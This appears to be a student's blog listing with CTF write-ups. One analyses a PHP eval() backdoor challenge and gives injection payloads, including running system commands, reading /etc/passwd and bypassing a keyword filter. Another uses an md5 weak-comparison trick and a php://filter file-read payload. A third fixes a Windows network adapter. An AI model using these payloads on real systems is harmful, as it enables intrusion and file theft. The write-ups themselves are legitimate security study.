LOADING

加载过慢请开启缓存 浏览器默认开启

Eden

apples

一个学习网络安全的小白记录自己的学习历程

ctf_web29

ctf 2025/4/22
web23ctfshow
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

/*
# -*- coding: utf-8 -*-
@Author: h1xa
@Date:   2020-09-04 00:12:34
@Last Modified by:   h1xa
@Last Modified time: 2020-09-04 00:26:48
@email: h1xa@ctfer.com
@link: https://ctfer.com

*/
error_reporting(0);
if(isset($_GET['c'])){    $c $_GET['c'];
    if(!preg_match("/flag/i"$c)){
        eval($c);
    }
    
}else{    highlight_file(__FILE__);
}

这段 PHP 代码是一个典型的Web Shell 后门代码执行漏洞的实现,具有明显的安全风险。以下是详细分析:

代码逐行解析

1. 错误报告关闭

error_reporting(0);

  • 关闭所有 PHP 错误提示
  • 攻击者目的:隐藏代码执行过程中可能产生的错误信息,避免暴露线索

2. 检查 GET 参数

if(isset($\_ GET['c'])){
  • 检查是否存在名为c的 GET 参数(如:?c=命令
  • 这是攻击者传递恶意代码的入口

3. 简单过滤检查

if(!preg_match("/flag/i", $c)){
  • 用正则表达式检查参数值是否包含flag(不区分大小写)
  • 脆弱性:仅过滤了flag关键词,防御极其薄弱
  • 绕过方法:可通过字符串拼接(如fla"."g)、编码等方式绕过

4. 危险代码执行

eval($c);
  • 使用eval()函数直接执行 GET 参数中的 PHP 代码
  • 危害:攻击者可执行任意系统命令、读取文件、反弹 Shell 等

5. 默认行为

}else{
highlight_file(**FILE**);
}
  • 如果没有c参数,高亮显示当前文件内容
  • 攻击者目的:伪装成普通文件,隐藏后门功能

攻击示例

  1. 执行系统命令
    http://example.com/shell.php? c=system(‘whoami’);
    • 输出当前服务器用户
    • ? c=system(‘ls’); //读取目录
      得到
      ![[web29phpls.png]]
    • ? c=system(‘cp fla?.php 1.txt’); //cp 原文件 复制文件 复制 flag.php 内容到同一目录下的 1.txt
      Linux cp 命令:复制文件和目录
  2. 读取敏感文件
    http://example.com/shell.php? c=echo file_get_contents(‘/etc/passwd’);
    • 读取系统密码文件
      因为这里有过滤所以不能用这个
  3. 绕过flag过滤
    http://example.com/shell.php? c=system(‘cat /fla””.g’);
    url? c=system(‘fla?.php’);
    url ?c=phpinfo()
    url?c=phpinfo?> //不一定要用分号
阅读全文

科来error

ctf 2024/11/18

网络驱动器!?
程序不兼容——否
系统重装——否
外置网卡!!?

经过数次尝试后,仍然没有解决找不到网络驱动器这一情况(基本网上能尝试的都试过了,但是在虚拟机 win10 下载就能正常找到)。就在这两天,电脑的 wifi 图标突然不见了,这下不是科来找不到,我自己的电脑也找不到网络适配器了。
在 b 站大佬的评论中找到解决方法。
win+r 后输入 devmgmt.msc,进入设备管理器,点开网络适配器后,出现 intel、vm 开头的网卡爆黄色警号,点开对应报错网卡后提示:windows 仍在设置此设备代码 56,原因是虚拟机的注册表出问题了
![[Pasted image 20241118205028.png]]
解决方式:win+r 后输入命令 regedit,进入后在 ctrl+f 查找输入 3d09c,找到 3d09c1ca-2bcc-40b7-b9bb-3f3ec143a87b 后直接删掉,over。
因祸得福,解决后 wifi 图标回来了,科来也能找到网卡了好耶

阅读全文

ctf_传参

ctf 2024/6/6

###简单的传参
大前提之手撕 hackbar
(https://www.bilibili.com/video/BV17T411a7zN/?spm_id_from=333.999.0.0)
按教程弄好后 edge 浏览器也是一样的原理用开发者模式扩展上去
(1)easy_md5
图片
$name != $password➡️ 要求 name 和 password 数值不同
&& md5($name) == md5($password)➡and 两者加密成 32 位 md5 转换值相等 ➡️0e###=0
ps:== 等于运算符,常见于弱类型题目, 比较时不同类型会被转换成数字;
php 处理 0e 开头字符串会当成科学计数法进行处理 0e+任意数字都=0
膜拜的博客:
(https://blog.csdn.net/qq_74020399/article/details/131132384)
检查 ➡️ 打开 hackbar ➡️
图片
⏯️excute 得 flag
(2)easy_include
图片
直接传入 file 运行
图片
得到:
flag 在 flag.php 中
这里我们知道了存放 flag 的文件地址,利用 php://filter 伪协议查看源代码
构造:file=php://filter/convert.base64-encode/resource=flag.php
图片
得到:
PD9waHANCiRmbGFnPSdOU1NDVEZ7NDk0YjMwNmUtOGJkYy00ODA2LWFlZGYtNmY4NGNiZDMyMDg2fSc7
用 base64 解码器解码得到 flag

⭐ps:php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 作为中 间流处理其他流
语法:php://filter/read/resource=文件名
php://filter 的 参数列表
a.read         读取(可选)
string.strip_tags 将数据流中的所有 html 标签清除
string.toupper     将数据流中的内容转换为大写
string.tolower     将数据流中的内容转换为小写
convert.base64-encode   将数据流中的内容转换为 base64 编码
convert.base64-decode 与上面对应解码

    b. write       写入(可选)

    c.resource    数据来源
阅读全文
1
avatar
nicolee278

有问题邮箱联系nicole278@qq.com